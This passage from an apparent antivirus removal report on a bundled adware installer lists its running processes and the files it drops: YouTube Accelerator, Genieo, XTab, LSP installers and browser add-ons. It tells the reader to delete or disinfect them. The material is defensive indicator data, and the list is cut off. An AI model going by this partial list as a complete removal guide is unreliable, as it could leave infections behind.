%original file name%.exe:2784
smt_istartsurf.exe:3808
ProtectWindowsManager.exe:3888
ProtectWindowsManager.exe:3956
gentray.exe:2256
gentray.exe:3252
gentray.exe:4052
gentray.exe:3400
ProtectService.exe:3600
ProtectService.exe:3944
jsdrv.exe:1868
biclient.exe:2364
biclient.exe:564
biclient.exe:2540
firsttime_setup.exe:3740
ins_yta.exe:3400
QQBrowser.exe:3004
QQBrowser.exe:1592
testlsp.exe:3460
powershell.exe:3892
powershell.exe:3656
powershell.exe:3180
setup.exe:3260
BF0A.tmp:2252
Bientrmqu.exe:3948
cmdshell.exe:3660
ShopperPro.exe:3760
genieo_setup.exe:3576
b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe:3768
wpm_v20.0.0.2227.exe:3016
ins_shopperpro.exe:3996
Jljudlej.exe:3976
HPNotify.exe:3416
regsvr32.exe:2836
regsvr32.exe:3744
regsvr32.exe:3644
lspinst.exe:3636
lspinst.exe:3780
vlc-cache-gen.exe:2528
framework_setup.gen:3832
vlc.exe:3208
InstallGenieo.exe:2936
InstallGenieo.exe:3200
DCytaiesmt_smtyc_setup.exe:3916
DCytaiesmt_smtyc_setup.exe:3944
DCytaiesmt_smtyc_setup.exe:2348
DCytaiesmt_smtyc_setup.exe:3256
DCytaiesmt_smtyc_setup.exe:3208
DCytaiesmt_smtyc_setup.exe:2100
spbiu.exe:1060
spbiu.exe:1732
vlc-2.0.2-win32.exe:1828
wscript.exe:3156
YouTubeAcceleratorService.exe:3936
YouTubeAcceleratorService.exe:3576
YouTubeAcceleratorService.exe:4016
trayapp_setup.gen:3788
genieo_setup.gen:1484
genupdater.exe:3948
INS_SENSE.EXE:3904
9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe:3424
taskeng.exe:3284
ytaiesmt_smtyc_setup.exe:2456
GLJCFEC.tmp:3460
XTab_Setup(2409).exe:3176
INS_IWEBAR.EXE:4080
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (29019 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (134479 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (52637 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (299 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD83A.tmp (93467 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (24998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMD432.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH001f.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (4022 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCCFEB.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (26548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (34866 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFD83B.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6007 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (22176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (6054 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (21730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4005 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0020.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJCFEC.tmp (6 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKD1F0.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1388 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12735 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsxE7B0.tmp (6471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\DataBase (27504 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\[email protected]!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\474.db (304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ClearnC.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\XTab_Setup(2409).exe (75523 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\eg2.zip (278366 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\ffv2_0.0.3.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\eg1.zip (209053 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\tmp\ChromeSync.exe (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp518516\QQBrowser.exe (5199 bytes)
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\log\gentray.log (14644 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (32 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A2E.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk395C.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3970.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk386E.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk39F3.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3204.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3460.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_Bientrmqu.log_tmp (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A1C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3124.log_tmp (14 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A1A.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3982.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_Jljudlej.log_tmp (3 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3460_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3993.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3204_YouTubeAcceleratorService.log_tmp (42 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (269381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A06.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A18.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3460_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3460_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk393B.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk3A04.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\wbk396E.tmp (1 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IPKQXNFO.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\ga[1].js (27690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (920 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I9T5YUHP.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoDownloadManagerStarBG[1].jpg (2721 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-youtubeaccelerator[1].htm (5934 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (2636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (4985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe (1482965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7GSRTBJO.txt (544 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TW1H33BU.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XWMUF6RZ.txt (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\226e0daa89188549baf0d586a6bc816b[1].htm (40605 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\4dfad7cc08236142b5420a1deefa56ef[1].htm (27759 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp (34132 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\e1b8a78c0881034aa57a76140e007cf2[1].htm (28317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[2].png (2320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71289 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF0A.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
